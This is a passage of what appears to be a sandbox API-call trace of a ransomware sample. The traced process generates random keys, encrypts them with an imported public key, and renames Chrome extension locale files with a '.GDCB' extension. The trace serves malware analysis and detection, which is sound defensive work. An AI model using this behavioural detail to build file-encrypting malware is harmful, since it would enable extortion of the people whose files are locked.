szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0266.253] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67960a0) returned 1 [0266.253] CryptGetKeyParam (in: hKey=0x67960a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.253] CryptEncrypt (in: hKey=0x67960a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0266.253] GetLastError () returned 0x0 [0266.253] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.253] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0266.255] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67959a0) returned 1 [0266.256] CryptGetKeyParam (in: hKey=0x67959a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.256] CryptEncrypt (in: hKey=0x67959a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0266.256] GetLastError () returned 0x0 [0266.256] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.256] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0266.257] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0266.260] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0266.262] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x114, lpOverlapped=0x0) returned 1 [0266.271] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0266.295] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json.gdcb")) returned 1 [0266.300] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0266.304] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.306] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.306] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0266.306] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0266.306] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0266.308] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.311] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.311] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0266.311] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.311] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0266.313] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67959e0) returned 1 [0266.313] CryptGetKeyParam (in: hKey=0x67959e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.313] CryptEncrypt (in: hKey=0x67959e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0266.313] GetLastError () returned 0x0 [0266.313] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.313] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0266.315] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795d60) returned 1 [0266.315] CryptGetKeyParam (in: hKey=0x6795d60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.315] CryptEncrypt (in: hKey=0x6795d60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0266.315] GetLastError () returned 0x0 [0266.315] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.315] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0266.316] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0266.319] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0266.322] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x14b, lpOverlapped=0x0) returned 1 [0266.331] VirtualAlloc (lpAddress=0x0, dwSize=0x150, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0266.338] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json.gdcb")) returned 1 [0266.343] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0266.346] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.348] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.348] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0266.348] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.348] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0266.351] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.353] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.353] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0266.353] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0266.353] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0266.355] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795a20) returned 1 [0266.355] CryptGetKeyParam (in: hKey=0x6795a20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.355] CryptEncrypt (in: hKey=0x6795a20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0266.356] GetLastError () returned 0x0 [0266.356] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.356] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0266.358] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795da0) returned 1 [0266.358] CryptGetKeyParam (in: hKey=0x6795da0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.358] CryptEncrypt (in: hKey=0x6795da0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0266.358] GetLastError () returned 0x0 [0266.358] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.358] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0266.359] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0266.362] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0266.365] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xcf, lpOverlapped=0x0) returned 1 [0266.374] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0266.387] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json.gdcb")) returned 1 [0266.393] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0266.397] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.399] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.399] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0266.399] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.399] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0266.401] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.403] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.403] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0266.403] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.404] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0266.406] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795f60) returned 1 [0266.406] CryptGetKeyParam (in: hKey=0x6795f60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.406] CryptEncrypt (in: hKey=0x6795f60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0266.406] GetLastError () returned 0x0 [0266.406] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.406] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0266.408] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795de0) returned 1 [0266.408] CryptGetKeyParam (in: hKey=0x6795de0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.408] CryptEncrypt (in: hKey=0x6795de0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0266.408] GetLastError () returned 0x0 [0266.408] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.409] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0266.410] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0266.413] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0266.415] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xad, lpOverlapped=0x0) returned 1 [0266.423] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0266.429] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json.gdcb")) returned 1 [0266.435] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0266.438] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.440] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.440] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0266.440] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.440] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0266.442] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.444] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.444] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0266.444] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0266.444] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0266.447] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795ba0) returned 1 [0266.447] CryptGetKeyParam (in: hKey=0x6795ba0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.447] CryptEncrypt (in: hKey=0x6795ba0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0266.447] GetLastError () returned 0x0 [0266.447] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.447] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0266.449] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795b60) returned 1 [0266.449] CryptGetKeyParam (in: hKey=0x6795b60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.449] CryptEncrypt (in: hKey=0x6795b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0266.449] GetLastError () returned 0x0 [0266.449] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.449] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0266.450] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0266.453] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0266.455] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xac, lpOverlapped=0x0) returned 1 [0266.464] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0266.496] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json.gdcb")) returned 1 [0266.501] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0266.504] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.506] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.506] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0266.506] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.506] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0266.508] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.510] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.510] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 